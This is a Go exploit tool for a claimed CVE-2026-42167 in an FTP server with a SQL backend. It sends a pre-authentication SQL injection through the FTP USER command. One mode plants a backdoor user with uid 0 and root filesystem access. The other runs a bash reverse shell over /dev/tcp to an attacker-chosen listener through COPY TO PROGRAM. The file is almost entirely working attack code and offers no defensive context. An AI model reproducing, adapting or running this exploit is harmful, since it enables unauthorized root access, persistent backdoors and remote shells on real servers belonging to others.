package main

import (
	"bufio"
	"flag"
	"fmt"
	"net"
	"os"
	"strings"
	"time"
)

func ftpCmd(host string, port int, commands []string, timeout time.Duration) (string, error) {
	addr := fmt.Sprintf("%s:%d", host, port)
	conn, err := net.DialTimeout("tcp", addr, timeout)
	if err != nil {
		return "", err
	}
	defer conn.Close()

	conn.SetDeadline(time.Now().Add(timeout))
	reader := bufio.NewReader(conn)

	resp := ""
	line, err := reader.ReadString('\n')
	if err != nil {
		return "", err
	}
	resp += line

	for _, cmd := range commands {
		_, err := fmt.Fprintf(conn, "%s\r\n", cmd)
		if err != nil {
			return "", err
		}
		time.Sleep(500 * time.Millisecond)

		for {
			line, err := reader.ReadString('\n')
			if err != nil {
				resp += line
				break
			}
			resp += line
			if len(line) >= 4 && line[3] == ' ' {
				break
			}
		}
	}

	return resp, nil
}

func backdoorMode(host string, port int, user string, pass string) bool {
	fmt.Println(strings.Repeat("=", 70))
	fmt.Println("CVE-2026-42167: Pre-auth backdoor injection via is_escaped_text() bypass")
	fmt.Println(strings.Repeat("=", 70))

	fmt.Printf("\n[*] Connecting to %s:%d...\n", host, port)
	banner, err := ftpCmd(host, port, []string{"QUIT"}, 10*time.Second)
	if err != nil || !strings.Contains(banner, "220") {
		fmt.Println("[-] No FTP banner received")
		return false
	}
	lines := strings.Split(banner, "\n")
	fmt.Printf("[*] Banner: %s\n", strings.TrimSpace(lines[0]))

	fmt.Printf("\n[*] Verifying '%s' doesn't exist yet...\n", user)
	resp, err := ftpCmd(host, port, []string{
		fmt.Sprintf("USER %s", user),
		fmt.Sprintf("PASS %s", pass),
		"QUIT",
	}, 10*time.Second)
	if err == nil && strings.Contains(resp, "230") {
		fmt.Printf("[-] User '%s' already exists — can't demonstrate injection\n", user)
		return false
	}
	fmt.Println("[*] Confirmed: login rejected (530)")

	fmt.Println("\n[*] Injecting backdoor user via SQL injection (pre-auth)...")

	payload := fmt.Sprintf("', null, null); INSERT INTO users VALUES($$%s$$, $$%s$$, 0, 0, $$/$$, $$/bin/bash$$); --'",
		user, pass)
	fmt.Printf("[*] Payload: %d bytes, passes is_escaped_text() check\n", len(payload))

	_, err = ftpCmd(host, port, []string{
		fmt.Sprintf("USER %s", payload),
		"PASS x",
		"QUIT",
	}, 10*time.Second)

	fmt.Println("[*] Injection sent (login fails — injection fires via ERR_* SQLLog)")
	time.Sleep(2 * time.Second)

	fmt.Printf("\n[*] Logging in as injected user '%s'...\n", user)
	resp, err = ftpCmd(host, port, []string{
		fmt.Sprintf("USER %s", user),
		fmt.Sprintf("PASS %s", pass),
		"PWD",
		"QUIT",
	}, 10*time.Second)

	if err == nil {
		for _, line := range strings.Split(resp, "\n") {
			if strings.TrimSpace(line) != "" {
				fmt.Printf("    %s\n", strings.TrimSpace(line))
			}
		}
	}

	loginOk := err == nil && strings.Contains(resp, "230")

	fmt.Println()
	if loginOk {
		fmt.Printf("[+] SUCCESS — User '%s' injected and login confirmed!\n", user)
		if strings.Contains(resp, `"/"`) {
			fmt.Println("[+] Homedir is / with uid=0 — full filesystem access")
		}
		fmt.Println("[+] SUCCESS - Exploit Done ")
	} else {
		fmt.Printf("[-] FAILED — Could not login as '%s'\n", user)
	}

	fmt.Println()
	fmt.Println("[*] Next steps:")
	fmt.Printf("    - Username: %s\n", user)
	fmt.Printf("    - Password: %s\n", pass)
	fmt.Printf("    - Target: %s:%d\n", host, port)
	fmt.Println("    - Login with any FTP client or command line")
	fmt.Println()
	fmt.Println(strings.Repeat("=", 70))
	return loginOk
}

func rceMode(host string, port int, shellHost string, shellPort int) bool {
	fmt.Println(strings.Repeat("=", 70))
	fmt.Println("CVE-2026-42167: Pre-auth RCE via COPY TO PROGRAM")
	fmt.Println(strings.Repeat("=", 70))

	fmt.Printf("\n[*] Connecting to %s:%d...\n", host, port)
	banner, err := ftpCmd(host, port, []string{"QUIT"}, 10*time.Second)
	if err != nil || !strings.Contains(banner, "220") {
		fmt.Println("[-] No FTP banner received")
		return false
	}
	lines := strings.Split(banner, "\n")
	fmt.Printf("[*] Banner: %s\n", strings.TrimSpace(lines[0]))

	shellCmd := fmt.Sprintf("bash -c \"bash -i >& /dev/tcp/%s/%d 0>&1\"", shellHost, shellPort)
	payload := fmt.Sprintf("', null, null); COPY (SELECT $$x$$) TO PROGRAM $$%s$$; --'", shellCmd)

	fmt.Println("\n[*] Injecting reverse shell via SQL injection (pre-auth)...")
	fmt.Printf("    Shell payload: %s\n", shellCmd)
	fmt.Printf("    SQLi payload:  %d bytes, passes is_escaped_text() check\n", len(payload))
	fmt.Printf("    Target: %s:%d\n", shellHost, shellPort)
	fmt.Println()

	_, err = ftpCmd(host, port, []string{
		fmt.Sprintf("USER %s", payload),
		"PASS x",
		"QUIT",
	}, 10*time.Second)

	fmt.Println("[+] Injection sent successfully")
	fmt.Println(strings.Repeat("=", 70))

	return true
}

func main() {
	fmt.Println(`
  ______   _____ ______      ____   ___ ____   __           _  _   ____  _  ____ ______
 / ___\ \ / / __|___ /      |___ \ / _ \___ \ / /_    _  _ | || | |___ \/ |/ ___|____  |
| |    \ V /| |_  |_ \  _____ __) | | | |__) | '_ \  | || || || |_  __) | | |  _   / /
| |___  | | |  _|___) ||_____/ __/| |_| / __/| (_) | | |__||_||_  _/ __/| | |_| | / /
 \____| |_| |_| |____/      |_____|\___/_____|\___/   \____(_)(_)|_|_____|_|\____||_/
`)
	fmt.Println("     Pre-auth SQLi RCE & Backdoor Injection via is_escaped_text() bypass")
	fmt.Println()

	host := flag.String("host", "", "Target FTP server hostname")
	port := flag.Int("port", 2121, "Target FTP server port (default: 2121)")
	mode := flag.String("mode", "backdoor", "Attack mode: backdoor or rce (default: backdoor)")

	user := flag.String("user", "attacker", "Backdoor username (default: attacker)")
	pass := flag.String("pass", "attacker_pass", "Backdoor password (default: attacker_pass)")

	shellHost := flag.String("shell-host", "", "Listener address for reverse shell connection")
	shellPort := flag.Int("shell-port", 9998, "Listener port for reverse shell (default: 9998)")

	flag.Parse()

	if *host == "" {
		fmt.Fprintf(os.Stderr, "[-] Error: --host is required\n")
		flag.Usage()
		os.Exit(1)
	}

	if *port < 1 || *port > 65535 {
		fmt.Fprintf(os.Stderr, "[-] Error: --port must be between 1 and 65535\n")
		os.Exit(1)
	}

	if *mode != "backdoor" && *mode != "rce" {
		fmt.Fprintf(os.Stderr, "[-] Error: --mode must be backdoor or rce\n")
		os.Exit(1)
	}

	if *mode == "rce" {
		if *shellHost == "" {
			fmt.Fprintf(os.Stderr, "[-] Error: --shell-host is required for rce mode\n")
			os.Exit(1)
		}
		if *shellPort < 1 || *shellPort > 65535 {
			fmt.Fprintf(os.Stderr, "[-] Error: --shell-port must be between 1 and 65535\n")
			os.Exit(1)
		}
		success := rceMode(*host, *port, *shellHost, *shellPort)
		if !success {
			os.Exit(1)
		}
	} else {
		success := backdoorMode(*host, *port, *user, *pass)
		if !success {
			os.Exit(1)
		}
	}
}